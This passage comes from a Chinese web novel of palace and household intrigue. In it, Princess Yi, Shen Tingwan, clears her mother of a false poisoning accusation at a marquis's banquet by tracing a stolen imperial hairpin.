这时候,永国公老夫人看了一眼沈听晚母女二人的方向,浑浊的眼底闪过一抹意味深长的冷光,又若无其事的开口:“哎,那孩子不可能无缘无故的晕倒,怕不是吃了什么不该吃的东西了吧。” 永国公老夫人先开了口,其他几个夫人这才敢说话议论。 “不能啊,那孩子年纪小,还吃不得大人的吃食,方才也都是在这儿逗逗他,没人喂过他东西吃的。” “那可不一定,说不准就是人悄悄趁人不注意,为了孩子不该吃的了呢。”永国公老夫人有意无意的说着,整个身子坐在椅子上,微微前后晃动着。 此话一出,明眼人也瞬间察觉到不对劲了。 永国公老夫人的意思,不会是说……她们在场的人,是有人给那孩子下毒了吧?! 沈听晚越听也觉得不对劲,永国公老夫人对她和沈家一直都是敌对的,巴不得沈家人都快点死了才好,还有那个赵金燕,也是盼不得母亲好。 直觉告诉沈听晚,那孩子昏迷的事,怕是没那么简单。 不管是不是针对她和母亲的,这个时候尽早摆脱,才是最好的选择。 “母亲,我身子有些不舒服……”沈听晚知道,沈夫人担心孩子的情况,肯定是想着要亲耳听到孩子没事才肯走的。 心急之下,也只能谎称自己身子不舒服了。 果然,沈夫人听到身边自己女儿的话,忙不迭的看过去,便看到沈听晚的脸色有些不好,立马着急了:“怎么了晚晚,你哪里不舒服啊?” 心里更是纳闷,这一天究竟是怎么了,怎么自己女儿也出事了呢。 沈听晚深吸一口气,微抿了抿唇:“胸口有点闷,母亲,您陪我回去吧。” “好!”沈夫人立马点头答应。 别人家的孩子她固然担心,可自己家的女儿,才是她的心头肉啊。 眼下,沈夫人也顾不上定远侯府的小孙子究竟是个什么情况,便想着要扶起沈听晚,起身便欲往外走。 而就在这时,门外突然不知道从什么方向窜出来几个家丁,将门口围住。 “众位贵人,还请留步!” 家丁门帘看上个个带着严肃之色,手上还拿着棍棒,那架势看上去就吓人。 沈夫人的脚步停下:“这是发生什么事了?我女儿身体抱恙,为何不让我们走?” 其中一个家丁站出来,脸上带着歉意开口:“夫人还请稍等一下,我家小公子被大夫诊出中毒,还需要贵人们配合一下。” 中毒?! 沈夫人脸色一变,那么小的孩子,怎么就中毒了呢? 此时,永国公老夫人缓缓从椅子上起身,嘴角带着轻蔑:“呦,翊王妃身子抱恙还真是时候,人家府上的小公子中了毒,翊王妃的身子也出了问题。” “就是啊,保不齐这孩子的毒就是她们母女俩下的呢,现在觉得心虚,这才要紧赶慢赶的离开!”赵金燕也在一旁附和着,抬手用帕子捂着唇,轻笑着开口:“你们啊,可得看住了这对母子,万一她们畏罪潜逃了,你们家小公子可就白受这份罪了呢。” 第154章 翊王来撑腰 “赵金燕!你胡说八道什么!”沈夫人一听到赵金燕的话,就满眼放火。 “我是不是胡说八道,一查就清楚啊,再说,如果不是你们做的,那么急着走做什么,我看啊,你就是心虚!” “李夫人!”沈听晚冷声喝道:“在本王妃面前,你也敢放肆!” “哎呦,翊王妃真是好大的威风啊,大家快看看啊! 真以为当上了王妃,就有多厉害了啊,别以为翊王殿下看中你,你就能为所欲为!” 赵金燕冷嘲热讽的道,她刚才一直在正厅,不知道在后院发生的一切,所以自然不会把沈听晚看在眼里。 “是吗,本王的王妃,怎么就不厉害了?” 就在这时,家丁的身后突然间传来君翊冰冷的声音响起。 刚想要开口回怼赵金燕的沈听晚,听到君翊的声音,也下意识看过去。 这家伙……来的还真及时。 沈听晚嘴角勾起一抹浅浅的笑,这会儿心里也不气了,又君翊在,压根就用不着她出手。 赵金燕听到君翊的声音,只感觉自己见到了阎王似的,满眼尽是震惊。 翊……翊王? 他竟然能从床上起来了? 不是说已经瘫了,很快就要死了吗? 君翊被暗祁推着,家丁们虽然收到命令要封锁整个侯府,但却也不敢拦着,只能趟出一条道来。 “怎么有受委屈了,不是说,谁要是敢对你不敬,你就打回去吗,打死了还有本王兜着呢。” 君翊一进门,目光就像是黏在沈听晚身上了似的,说话的声音也变得柔和许多。 赵金燕的脸色陡然变得惨白起来。 翊王竟然这么看重那个贱人的女儿? 她双手死死地拧着手上的帕子,后槽牙都快要咬碎了般,眼眶嫉妒的泛红。 这个贱人还有贱人生的小贱蹄子,当真是那么好的命! “王爷,这里都是女眷,你出现在这里,怕是不妥吧。”永国公老夫人沉声说道。 君翊抬眼睨过去:“本王不来,你们就能随意欺负本王的王妃了?” 永国公老夫人的脸色比吞了苍蝇还要难看,勉强扯了扯嘴角:“王爷说的哪里话,这里……没人敢欺负翊王妃啊……” “哼,那王妃身子抱恙,想先行离席,你们为何从中阻拦?” “这……” 永国公老夫人欲言又止,抬眼看了一下门外的家丁。 家丁也反应过来,王不迭的上前,恭敬的开口:“王爷见谅,实在是我家小公子被人下了毒,侯爷大怒,下令若不找到下毒凶手,谁……谁也不得离开……” “呵。”君翊冷哼一声:“那这是要连同本王在内,一并都软禁在侯府了?” 谁给这侯爷那么大的胆子的! “不……不会当然王爷王妃太长时间,我也已经找到了下毒的婢女,她回来之人指使她下毒的人,让事情调查清楚,贵人们就可以离开了。”家丁硬着头皮的道。 这可是在从前战神王爷的面前说话的,他真害怕,自己一个不小心,说了叫王爷恼怒的话,在一怒之下把他脖子拧下来啊。 家丁心里连连叫苦,转眼不停的往远处张望。 侯爷和侯夫人怎么还不来啊,在不来,他们几个下人都要撑不住了! 而侯爷和侯夫人像是听到了家丁的心声似的,不多时便带着一众人,浩浩荡荡的从院外走进来,身后还押着一个内五花大绑的婢女。 只见那婢女浑身是血,一看就是受了严刑。 不得不感叹,这侯府还真是雷厉风行,从得知小公子被人下毒到抓到下毒之人,再审讯,前前后后还不到半个时辰的时间。 人到齐后,侯爷更是亲自上前恭敬的给君翊行礼赔罪:“王爷恕罪,今日是臣招待不周,怠慢了王爷和众位贵客。 臣的孙子被人下了毒,此事还需要调查清楚,还请王爷海涵。” 君翊抬眼,看了一眼浑身是血的婢女:“这是侯府的婢女?” “正是,这个贱婢,简直该死,竟然被外人买通,给煜哥儿下毒,臣的孙子啊……”定远侯哽咽的开口,他孙子的小脸儿到现在还青紫着呢 大夫说,孩子所中之毒十分致命,搞不好,会有性命之忧啊。 一想到这里,定远侯就很不是把那个贱婢给千刀万剐了。 不过现在还不行,这个贱婢是被人收买的,背后还有要治他孙子于死地的凶手。 他一定得把人给抓出来! 浑身是血被押着的婢女此时奄奄一息,双腿发软连站都站不起来,只能靠人强拎着。 “说!究竟是何人收买了你!本候再给你最后一次机会,你若是不肯如实招来,本候现在就将你乱棍打死,尸体剁碎了扔出去喂狗!” 婢女被定远侯的这么一喝,吓得浑身直颤。 她抬手环顾了一圈,在一处停住视线,不过很快,又立马挪开了。 “候……侯爷,奴婢冤枉啊,奴婢从未……从未给小公子下过毒……”婢女的语气十分虚弱,却依旧坚持着。 “你还敢狡辩!刚才就是从你的房里搜出了药粉,而且大夫都已经确认了,那药粉和煜哥儿体内所中的毒一般无二!” 定远侯也彻底的怒了,抬脚便狠狠揣在了婢女的肚子上。 “唔……” 婢女被下人们死死押着,对这一脚根本躲闪不掉,只能硬生生的受了这一脚,嘴角瞬间溢出殷红的血。 这回,婢女像是知道害怕了似的,不是的是受了惊吓还是浑身剧痛的缘故,整个人都不受控制的颤抖起来。 “奴婢……奴婢知错了,奴婢是受了一位妇人的一根金簪子,也是她让奴婢把药粉下在小公子的饮食里的……” 说完,就拼了命的挣扎开下人的束缚,跪在地上就开始咚咚咚的磕起头来,一副悔恨万分的样子:“是奴婢一时财迷心窍,害了小公子,那如果知道那药粉里头是剧毒,就是给奴婢一万个胆子,奴婢也不敢给小公子服用啊!” 这唱作俱佳,声泪俱下的样子,在场的众人也不禁信了几分。 第155章 沈夫人的金钗 定远侯更是双眼瞪得溜圆,满眼冒火:“是谁让你这么做的!” “是……是沈夫人!” 婢女的话音一落,整个屋内瞬间变得寂静无声,仿佛所有人都被这话给惊住了 下一瞬,又瞬间变得一片哗然。 “竟然是沈夫人?” “啧啧啧,人不可貌相啊,看那沈夫人挺体面的一个人,怎么会做出这么狠毒的事儿来呢?” “那可还是一个小奶娃娃啊,她究竟是怎么下得去手的啊!” …… 一时之间,在场众人纷纷议论起来,看向沈夫人和沈听晚的眼神都变了。 那些眼神,有鄙夷,又嫌恶,还有幸灾乐祸…… 沈夫人也被这突如其来的指认惊了一大跳。 是她指使这个婢女的? 怎么连她自己都不知道呢? “沈夫人,你可还有什么话要说!究竟为何要害我的孙儿?!” 定远侯也没想到,给自己孙子下毒的竟然会是沈将军的夫人安氏。 他们定远侯和沈家,向来没什么恩怨,在朝廷上,他欣赏沈煜在战场上杀敌的勇猛,甚至有时候又言官弹劾,他还会出面维护沈家。 可这究竟是为什么啊? 他维护沈煜,可是沈煜的妻子,竟然要来害自己的孙子? “无稽之谈,我从未见过这个婢女,有如何指使她给小公子下过毒!” 更何况,那个孩子她喜欢的很,一整个席面上,也是有她是真心在逗孩子高兴呢。 她怎么一和喜欢孩子的人,怎么可能会做出这样的事情来呢? 她也有女儿儿子,也是从奶娃娃那般小养到大的,她何尝不知道,养一个孩子的艰辛? “沈夫人啊,不能把什么罪名都推到奴婢身上啊,您给奴婢的金钗,这件事情你总不会忘吧?”婢女这个时候突然间又说了话。 沈夫人脸色巨变:“胡说八道,夫人,什么时候给过你金钗,更何况我的金钗一直都……”沈夫人一边说着,一边抬手要那头上的钗子拿下来自证,可话还没说完,感觉自己的头上空空的。 她头上插着的那根钗子,不见了! “怎么,沈夫人这是说不出话来了?你头上的钗子怎么了?”永国公老夫人缓缓抬脚走上来两步,浑浊的眼底带着解恨的笑:“沈夫人不会是要说,自己的钗子不知道什么时候丢了吧?” “哎呦,老夫人您真会说笑,没有那么巧合的事儿啊,沈夫人的钗子丢了,却正好被这个贱婢捡了去,这样的话,也就说给外头那些三岁孩童,他们能相信呢。” 赵金燕和永国公老夫人两人一唱一和,就是想要把沈夫人给定远侯小孙子下毒的罪名给坐实了。 “我没有!”沈夫人此时也不知道该怎么办才好了。 毒并不是她下的,可却被一个婢女指认成是凶手,更是好死不死,这个时候她的金钗竟然也不见了,这下子,她就算是再清白也说不清了。 “行了!来人去再搜这个贱婢的房间,务必找到那根金钗,看看那钗子究竟是不是沈夫人的!”定远侯虽然是年纪大了,但却也并不糊涂,静下来想想便能理智,他们和沈家素来没有恩怨,沈夫人也没有理由来害他的孙子。 很快侯府的家丁们便动了起来,五六个看上去很壮的男人大步朝着婢女的房间走去。 不多时,家丁从不远处走来,手上还拿着一样东西。 正是沈夫人原来头上戴着的那根簪子。 沈夫人见着,脸色也瞬间唰的一下白了。 因为她认出来了,即便那个家丁离她的距离不算近,可她还是一眼就认出,那人手上的钗子就是她的。 “这不可能!这怎么可能呢?”沈夫人满脸尽是惊愕之色,心里更是忐忑不安。 如果她给侯府小公子下毒的罪名坐实了,一定会连累自己当将军的丈夫,做官的儿子,还有刚嫁到王府不久的女儿啊。 沈听晚看着自己母亲脸色的难看,赶忙开口安危道:“母亲,您先别着急,您好好想想,钗子您今天早上带了吗?” 沈夫人眼眶泛红,满脸尽是无措之色:“我没有……晚晚,我没给那孩子下毒,更没指使过谁啊……” 沈夫人此时心里慌张的不行,压根听不进自己女儿在说什么,只是口中不停的重复着那句话。 她没有指使任何人! “哎呀,那不就是沈夫人的钗子嘛,沈夫人一进门我就看到了,晃眼的很呢!” 突然间,人群里冒出来一个夫人,惊诧的开口说道。 众人听到这话,也是面色各异。 这下子,沈夫人给侯府小公子下毒的罪名,算是铁板钉钉了。 沈听晚的眉头紧蹙,抬眼看向侯爷手上的金钗,在抬眼看向定远侯。 定远侯谢浩,一看就是马背上打天下的人物,一身威严之气,就给人一种军方首领,身上那股子血腥和煞气,让人看了都不禁要抖三抖。 但是,沈听晚却不怕。 不是她又多胆大,实在是…… 她上辈子是什么人?是军医啊。 在战场上,看到最多的就是军人。 定远侯身上的峥嵘之气,还有那历经岁月沉淀的威严,不是一般士兵可以相比的。 这种气势,沈听晚也只有在现代几个上将身上感受过。 沈听晚大胆的上前一步,看向定远侯:“侯爷,可否把簪子给本王妃看看?” 沈听晚说完话,便用一双清澈的眼看着定远侯,仿佛感觉不到这室内的威压之气一般。 良久过后,在场的众人,当然君翊除外,所有夫人小姐们都被吓得一身汗,可沈听晚依旧如故,神色淡然,仿佛没看到定远侯脸上的怒气。 好吧,沈听晚心里气势也不怎么淡定的,她不知道这定远侯究竟是一个什么样的脾性,但既然开头都已经装着一副淡定的表情,那现在也只能强撑着。 可是,沈听晚不知道的是,面对定远侯这可以释放出来的气场,九涟皇帝也会被震住。 不怒自威,更不用说,他现在都要气得把凶手碎尸万段了! 第156章 你不害怕本候? 有句话在京城里是这样传的,定远侯一怒,全京城地动山摇! 一旁坐在轮椅上的君翊,也是淡淡垂眸,完全没有要上前帮忙的意思。 这样的小场面,他是相信小姑娘自己能解决的了。 等小姑娘实在解决不了了,他才会出面,免得被人说,他袒护小姑娘。 如果真的是这样的话,那沈听晚从今往后在京城,就只有翊王妃这一个身份,再无任何出头之地了。 君翊了解沈听晚,她不甘心只做一只金丝雀,她想要在这广阔的天地非得更高,就自然需要历练。 君翊不会让沈听晚失去历练的机会,但同时,他也不会让沈听晚遇到任何危险。 沈听晚既然想飞,那他就做沈听晚的天,叫她在这片天地间,自由翱翔。 “你不怕本候?” 定远侯盯了沈听晚半天,也不见眼前这小丫头对她有半点惧怕之色他虽然年近七十,和这双眼睛就像是鹰一样,给他盯着,比被猛虎盯着还要吓人。 曾经,他也是带着兵打仗的,您在战场上,他的这双眼睛,就生生吓得敌方将领跌下了吗。 一张国字脸,剑眉冷目,气势十足。 “为何要怕侯爷?侯爷又不是洪水猛兽,而且本王妃相信,侯爷现在怒是怒给小公子下毒的凶手。” 那既然如此,她更不用怕了。 沈听晚的声音虽然轻,却是清朗明快,也是在告诉定远侯,她是真的不怕。 “哼,是啊,本候怒的是凶手,可现在凶手的嫌疑人可是你的母亲,沈夫人!”定远侯冷笑着出声,又刻意释放出压力想要逼迫沈听晚就范。 他活这么一大把岁数,在这世上,还没几个人不怕他呢。 这让定远侯的心里也起了胜负欲。 “侯爷,你也说了,我母亲现在只是有嫌疑的人,并不是凶手。”沈听晚依旧淡定的开口。 嫌疑人和凶手,是有很大差别的。 听到沈听晚的话,定远侯的眉头微微挑了挑,他看了一眼手上的金钗,下一瞬,便当着众人的面,把钗子递到了沈听晚的面前:“你看吧,本候倒是要看看,你究竟还能说什么!” 呼…… 沈听晚暗暗松了口气,把钗子从定远侯的手上拿过来,悄悄站直了身板,却不想她的这点小动作,根本瞒不过定远侯的那双鹰眼。 他冷冷挑起讽刺的嘴角。 他还真以为着小丫头不怕他呢。 原来是装的。 他就说嘛,刚才他释放的大部分压力,都是针对沈听晚的。 沈听晚拿过钗子仔细看了看,随即走到沈夫人跟前:“母亲,您仔细看看,这钗子是您的吗?” 沈夫人地视线也立马看过去,虽然刚才就已经认出来了,但她还是不死心,拿过钗子仔细看了又看,到最后,面如死灰的点了点头,涩涩开口:“是我的……” 钗子的确是她的没错,可她实在不知道为什么会出现在那婢女的房间里啊。 “呵,这事看样子也已经很明了了啊,小公子下毒的就是沈夫人无疑了,定远侯,你还不快报官啊,把这个杀人凶手抓起来,我看啊,要是不对她动用点刑,她是怎么也不肯招的呢。” 赵金燕是一逮着机会就恨不得把沈夫人踩在脚底下,这么好的机会,她自然是不会放过的。 然而,她的话音刚落,感觉自己的身上凉飕飕的,好像一阵寒风略过,在定睛一看,便看到翊王的那道冰冷的目光正阴沉沉的看着自己。 赵金燕吓得浑身一哆嗦,有些畏惧的缩了缩脖子,但还是不死心的小声嘟囔:“我说的也是事实啊,既然凶手都已经找到了,还墨迹什么,这不是耽误我们这么多人的功夫嘛……” 然而,赵金燕的话,却没有一个人赞同的。 他们他们就是来参加宴会的,现在席面闹成这样,主家在抓真凶,他们这些客人,理应该配合。 更何况,沈夫人是什么人? 他可是沈将军的夫人,翊王殿下的岳母啊! 谁会像赵金燕这样蠢笨不可及的,当着翊王殿下的面,就敢说那些话啊! 没看着永国公老夫人纵然在厌恶沈家,在翊王殿下到了之后,都变得悄咪咪不吱声了吗? 赵金燕见着自己嚷嚷了半天,也没人搭腔,再加上君翊那道威胁的目光的确震慑了她,也只能悻悻地闭了嘴。 “翊王妃,你看过了这钗子,沈夫人也确定了簪子就是她身上的东西,这还有什么话要说吗?” 若是说不出来个什么,他可真的要报官了。 到时候,这安氏即便是大臣家眷,怕也是免不了后半生都在大牢里度日了! 这也不是他不给翊王或者是沈煜面子,刚才他把金钗递给沈听晚,我已经算是给尽了颜面。 要不然,就光凭借着金钗,就足以请京兆府来抓人了! 然而,沈听晚接下来的话,不仅定远侯惊住一瞬,我连在场的所有人都瞬间惊诧起来。 “侯爷,您报官吧。”只见沈听晚把钗子递给定远侯,淡定的开口。 远红眉头紧处,上下打量着眼前的小丫头,他活了这么多年,自认为自己见过了太多的人,在什么人面前他都能一眼看穿对方的心思。 可是今天,他却有些看不懂沈听晚了。 这丫头心里究竟在想些什么? 定远侯双眼微微眯起,冷声质问道:“你可知道,本候若是报了官,此事就再无回旋之地了,你的母亲将会面临什么?” “知道。”沈听晚又是淡定的点点头,随即又道:“本王妃也要报官,不如和侯爷一起?” “你也要报官?”侯爷被沈听晚的话气笑了。 难不成,沈听晚已经确定了自己母亲是凶手,所以想要当着翊王的面,选择大义灭亲? 如果真的是这样的话,那他高看沈听晚了! “是,我要报官,是有人在宴会上偷盗,还有人诬陷本王妃的母亲,此事听晚定要调查清楚,绝不让那贼人逍遥法外!” 此话一出,众人寂静无声。 所有人都以为沈听晚要大义灭亲,就连沈夫人都觉得,女儿也不相信她,可却没想到,沈听晚竟然会说出这样的话。 第157章 你刚才为什么不说! “诬陷?”定远侯冷嗤一声:“王妃说一句诬陷,沈夫人就能逃得了干系了吗?我侯府的下人都是受过严格的审查的,身世清白,怎可能会有此等偷盗之事!” 别的定远侯不敢保证,但是在他的府上从来都没有发生过偷盗一事! 更何况,金钗好端端的在沈夫人的头上戴着,府上也无人靠近过沈夫人。 而且就算是靠近,作为一个寻常人,陌生人的靠近,那不应该心生警惕,还任由着人把自己的东西偷走? 沈听晚点点头:“是,本王妃也相信,偷盗一事和侯府的人无关。” “那你弄这么一出是为何?”定远侯也下意识问道。 “侯爷,这钗子的确是本王妃母亲的,但绝不可能是我母亲交于旁人的,不知道侯爷方才看过这金钗,我有看出什么门道?” “什么?” 只见沈听晚将金钗缓缓举过头顶,叫众人都能看的真切:“此为先皇后所赐金钗!” 此话一出,在场的众人纷纷脸色各异。 先皇后所赐? 这不就是当年沈将军在一场恶战,以极少的兵力将敌军打的卸甲而归,先帝重赏沈家那一次? 先皇后为了能够安抚沈家,更是将一只金凤钗赏赐给了沈夫人。 这是二十年前的事了,许多人都记得不大真切,但沈将军的那场仗,却打出了名,京城上下无人不知。 见着众人眼底的震惊之色,就连定远侯看着那只凤钗,眼底也闪过一丝复杂。 那可是先皇后的东西啊。 自打先皇后病逝,新帝登基,昭德贵妃成了当今太厚,很多人都忘了,曾经的那位先皇后是有多么让人惊叹。 定远侯看着那支金钗,久久无法出神,而此时沈听晚的声音再次响起:“想必大家都很清楚,皇宫所赐之物,那是天恩,有谁敢将此金钗轻易送与他人,那边是对先皇后不敬。 再说了,若我母亲真想买凶杀人,怎么可能会用御赐之物,留下这么重要的证据,这不是摆明了要等着人来抓?” 沈听晚现在心里也无比庆幸,那个偷自己母亲金钗的婢女没见过什么世面,也不知道这金钗的来历,不然若是随随便便换了别的东西作为赃物,那她母亲可就没那么容易脱身了。 沈夫人此时也是激动的点了点头,对啊,她刚才怎么没想到呢! 这是金钗啊,当初先皇后赐予她的时候,她可是珍惜的不行,很少带出来,一来是因为沈家手握重兵,她这个将军夫人不能在京城太过高调,而来也是,御赐之物,怎可能随随便便的带出来,所以,这支金钗,她也只是带了不过五六次,一般都是进宫赴宫宴的时候带着而已,知道的人也不多。 “沈夫人真是放肆,竟然敢对先皇后不敬!”永国公老夫人见着翊王从始至终也没替沈听晚说过半句话,只觉得是翊王也不打算帮这对母子,我才大胆的插上了一句,想要试探一下翊王的反应。 沈听晚听着永国公老夫人开口的质问,淡淡开口:“永国公老夫人,本王妃的母亲何时对先皇后不敬了?” 永国公老夫人抬手只想沈夫人,又指了指沈听晚手上的金钗:“此乃先皇后所赐之物,应该供在沈家,怎能随意带出门来,而且还一不小心丢失御赐之物,这不是对先皇后不敬又是什么?” 所有人都知道,皇宫里所赐之物,不能作为交易买卖,不能赠与,只能自身保留,或者传于下一代,作为传家之宝,可想沈夫人这样堂而皇之带在头上的,却从未有人这么做过。 “这支金钗,本王倒是记得一二,确实是母后当年因为沈将军立下战功所赐给岳母的,那时本王年纪尚小,就喜欢在母后寝宫玩闹,依稀记得当年母后将金钗赠与岳母时,曾说过此金钗可任由岳母处置,而且还要岳母每次参加重要宴会都戴着,以表皇家恩赐。” 君翊在所有人都寂静无声的时候,突然间淡淡开口。 他的这一句岳母,叫的沈夫人感动的那叫一个稀里哗啦。 同时心里也无比激动庆幸,这件事情没有给自己女儿和姑爷之间的感情造成影响。 永国公老夫人脸色也是一变,无比难看了起来。 金钗是御赐之物,沈夫人就算是再蠢,也不可能那此物作为贿赂婢女的赏银。 这侯府小孙子被人下毒一案还没有理清头绪,眼下又继续填了新案,让定远侯都感觉到一时头疼。 他现在也有几分相信沈听晚的话了,一来侯府和沈家无冤无仇,某种利益方面看,更可以说两家算是相互帮衬的盟友,而且沈夫人是明事理的,从前也从未听说过沈夫人做个伤天害理之事。 若真的有人偷了金钗,那…… 定远侯脸色微沉,眯起有些苍老的双眸。 看样子,是有人想要故意挑起侯府和沈家的斗争了! 定远侯转头看向已经被严刑打得站不起身的婢女,轻抬了抬眼皮开口:“看来你还是不肯说实话,这皮肉之苦你是没受够吗?” 言辞之中,透着浓浓的威压之气与不满。 然而,婢女却一口咬定,这支金钗就是买通她的人给她的。 只不过,给她金钗的人,却不是眼前地这位沈夫人。 “你什么意思?” 婢女吓得两片唇都颤抖起来:“侯爷,奴婢没有说谎的,这支钗子就是一个自称沈夫人婢女的人交给奴婢的,那个婢女为了让奴婢相信,还告诉奴婢,沈夫人说了,只要我把这件事情办成,事后还要再给奴婢一千两作为犒劳。” 定远侯听到这话,瞬间气急:“这些话,你刚才为什么不说!” 沈听晚也是冷笑一声:“看来这婢女的口里没一句真话,一会说是本王妃的母亲亲自将金钗交给她的,一会又说是本王妃母亲身边的婢女,可笑,母亲出门,身边从来都不带婢女,只有若兰姑姑跟着侍奉,你说的婢女,可是再说若兰姑姑?” 沈听晚的话音刚落,沈夫人身后的若兰姑姑便立马上前一步,面无表情的走到沈听晚的身后:“小姐,奴婢就站在这儿,不怕人指认!” 第158章 柳姨娘表姑母 见着若兰姑姑上前,一脸的理直气壮,婢女只看了一眼,就立马摇头:“不……不是她,是一个比这位姑姑年轻些的婢女,个子很高,很瘦,一脸的刻薄样……” 沈听晚听到了自己想听的话,脸上这才露出一抹满意的笑来。 “听晚没什么好问的了,侯爷,孰是孰非,想必侯爷自有定夺。” 已经还了自己母亲的清白,其他的事,就不由她管了,沈听晚也懒得管侯府的闲事! 赵金燕依旧不死心的开口:“兴许是沈夫人带了两个婢女来参加周岁宴也说不定!” 沈听晚一脸讽刺的看过去,就像是在看傻子一般睨了赵金燕一眼:“李夫人,进府赴宴,都是要登名入册的,只要查一查宾客入席的册子,便可知晓,王菲的母亲究竟带了多少人来!” 这个赵金燕是个傻子不成? 竟然能说出这么愚蠢的话。 被沈听晚这么一说,赵金燕被气的脸颊瞬间涨红:“哼,说不准是她把人藏起来了呢?” “呵!”这回不用沈听晚开口,定远侯就冷冷的说:“你是当我侯府的暗卫都是摆设?” 愚不可及的东西,定远侯都懒得搭理。 转眼又看向君翊,一脸平静的开口:“保护翊王妃的那两个丫头,臣依稀记得应该是王府暗卫吧?” “是。”君翊淡淡的应了一声,并未否认。 只见定远侯的脸上又带上客气的笑:“那两个丫头功夫身手了得,有机会可否让臣府中的暗卫请教一二。” 说是请教,其实定远侯这样说,也是为了告诉众人,侯府里的所有人,包括在他们暗处保护的暗卫,他都知道的一清二楚。 却是是这样,定远侯府的那些暗卫,不说京城无人能及,那也是数一数二的。 恐怕在这京城之中,除了皇室里的,还有翊王府的暗祁暗蒙以外,怕都很难成为对手。 “来人,去给本候查,那个收买这个贱婢的人,究竟是谁!” 定远侯又沉声命令道。 这些宾客身边跟着的婢女,侯府的人都多多少少有些印象,既然不是,那就说明,这个贼人就是 出自侯府里面了! 定远侯想到这里,更是怒不可遏,闹了这么一路三招,结果贼竟然出自自家里,叫这么多宾客,都看了侯府的笑话。 要是让他抓到是谁,他一定把那个混账千刀万剐了! 半个时辰之后,管家将所有侯府下人家丁全部聚集在后院之中,随即恭敬的上前行礼:“侯爷,府上并没有罪婢所说的那个人。” 定远侯眉头紧蹙:“府里面所有人都在这了?” 那就见鬼了,不是这些宾客带来的人,也不是侯府的人,难不成真的是鬼? 已经替母亲摆脱嫌疑的沈听晚,坐在一旁安抚着受了惊吓的娘亲,听到不远处的动静,微叹了口气,轻声的道。 “不是这些人,那就说明是侯府外头的呗。” 沈听晚说好的声音不大,但作为武将,耳力超绝的定远侯却听到个一清二楚。 他想了一下,转头又看向沈听晚:“翊王妃此话为何意?” 沈听晚有些意外的看过去,上下看了定远侯两眼。 这么一大把岁数,听见他那么小声的说话,真是难得。 沈听晚撇了撇嘴,罢了,她也不介意做个好人。 沈听晚起身看向定远侯:“侯爷可以派人查一查,府上可有某位贵人的远亲进府,或许能有意外的收获。” 此话一出,管家眼前一亮,忙拍了一下脑门:“哎呀,奴才忘了,大公子院里柳姨娘的表姑母昨儿下去进府开看望柳姨娘了!” 大高个,瘦瘦的,一脸的刻薄像。 这不就是形容那柳姨娘的表姑妈吗! 沈听晚轻笑着挑了挑眉:“那管家还不叫去查一查,去晚了,估计那表姑母都要出府了。” “是!”管家立马开口应下,刚想抬脚往外走,才后知后觉他竟然略过了侯爷,直接听从了翊王妃的命令行事了! 主家还没有命令行事,却听外人的命令,这可是作为奴仆的大忌的,管家的脸上刷的一下就白了,站在那里,我也不是,不走也不是,满眼无措的看着定远侯。 定远侯心里也很是意外,他的这个管家向来都只听他一人的命令,想不到今天,竟然能听一个小丫头的话。 不过他也不恼,知道沈听晚是为了帮他,也没有计较什么,朝着管家示意一眼,叫他快去。 管家这才狠狠的松了口气。还好侯爷没有怪罪他啊,否则的话,他估计就得收拾收拾滚蛋了。 管家带着家丁快速朝着柳姨娘的院子走去,后院宾客席内又是变得一阵寂静无声。 定远侯想了想,还是决定先将宴会散了,毕竟这些人热闹看的已经够多了,接下来,才是侯府里真正的家丑。 家丑不可外扬,这个道理,定远侯怎么会不懂。 出了这样的事,说到底吃亏的还是定远侯府。 “今日叫众位看了笑话,发生这样的事儿,侯府实在无法招待各位,招待不周,改日本候亲自登门赔罪,今日还请大家先行回府。 还恳请大家,今日侯府之事,不要外传。” 定远侯也是个要脸面的人,有什么事情都是关起门来私下解决。 先前是以为给自己孙子下毒的人出自于这些宾客,可现在看来,事情没有那么简单。 或许,从始至终都是家贼作祟! 定远侯的话都这样说了,便是下了明显的逐客令,继续留下来,就不懂事了。 于是众宾客也忙不迭起身,连连答应下来,今天他们就只是来参加小公子的周岁宴,其他的事情一概不知! 定远侯也是亲自一个个表示谢意与歉意,送着大部分离府。 沈听晚当然也是要走的,她拉起自己母亲的手:“母亲,我们也走吧。” 其实原本早就应该走的,但沈听晚也庆幸她们没走成。 不然,落下金钗那个把柄,母亲和她都不在场,岂不是任由着这帮人胡乱捏造了。 然而,沈听晚刚想和沈夫人起身,准备与君翊一同离席,定远侯却眼尖的看过来:“翊王殿下,翊王妃,沈夫人还请留步。” 第159章 金钗的来历 沈听晚见着定远侯上来挡住她们的路,瞬间炸毛:“本王妃刚才可是给侯爷提供了线索,侯爷这会儿不会像要过河拆桥吧?” 难不成这老家伙为了自家颜面,你想要把这罪名扣在她们脑袋上? 要真的是这样,沈听晚都能跟这定远侯拼命! 见着眼前的小丫头很显然是误会了自己的意思,定远侯连忙笑着开口:“翊王妃别误会,刚才是本候误会了沈夫人,此事,是本候之错,还请王妃与沈夫人可以给本候一个补偿的机会。” 听见这话,沈听晚这才送了口气,人身的戒备也放下不少。 不过也能看得出来,定远侯把那么多宾客都遣散了,唯独留下他们,也不光是因为要补偿他们的。 既然定远侯要把事情调查清楚,光留下他们有什么用呢。 沈听晚想了一下,见着不远处永国公老夫人和赵金燕还没走远,目光中微闪了闪冷光,随即嘴角勾起一抹弧度:“侯爷,既然我们都留下来,本王妃看永国公老夫人和李夫人也对小公子的安慰很是关心,不如叫她们也一并留下吧。” 给定远侯小孙子下毒这件事,沈听晚觉得没那么简单,若只有侯府的一个家贼作祟,那怎么能诬陷到自己母亲的身上呢? 还有,母亲头上带着的金钗,寻常婢女不可能那么轻而易举的就拿到,如果不是互相勾结,很难做到如此滴水不漏。 而此时,沈听晚之所以能帮自己母亲开罪脱身,也完全是因为,偷拿母亲金钗的那个人,不知道那金钗的来历。 可如果知道呢? 如果换了母亲身上其他的东西作为赃物呢? 恐怕就不知道要给多大的力气才能替母亲证明清白了。 听到沈听晚的话,原本刚准备要随着其他宾客离开的永国公老夫人和赵金艳的脸色瞬间变得扭曲起来。 “你什么意思,是觉得本夫人和小公子下毒的事情有关?” 赵金燕是个蠢得,心里头不满,便直接口无遮拦的质问道。 沈听晚勾了勾嘴角,笑意不达眼底:“李夫人这么生气做什么,本王妃也是觉得,方才李夫人和永国公老夫人张口闭口想要将罪名扣到我母亲身上,想来是对这件事情很感兴趣的啊。 本王妃好心邀请你们留下来,看一看最后的结果,李夫人和永国公老夫人不会不领我的情吧?”沈听晚慢条斯理的开口,语气轻柔,却吐字清晰,叫人无法忽视。 永国公老夫人的脸色也极具阴沉,但毕竟年岁大了,城府肯定比赵金燕深,心里都要被沈听晚气炸了,但也没多说什么。 